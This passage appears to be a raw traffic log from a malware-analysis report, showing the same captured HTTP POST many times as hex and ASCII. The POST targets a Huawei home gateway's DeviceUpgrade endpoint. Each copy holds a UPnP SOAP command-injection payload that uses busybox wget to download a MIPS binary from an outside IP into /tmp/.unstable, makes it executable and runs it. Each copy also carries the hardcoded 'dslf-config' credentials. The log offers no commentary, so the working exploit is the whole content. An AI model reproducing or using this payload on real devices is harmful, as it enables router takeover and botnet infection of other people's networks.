61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 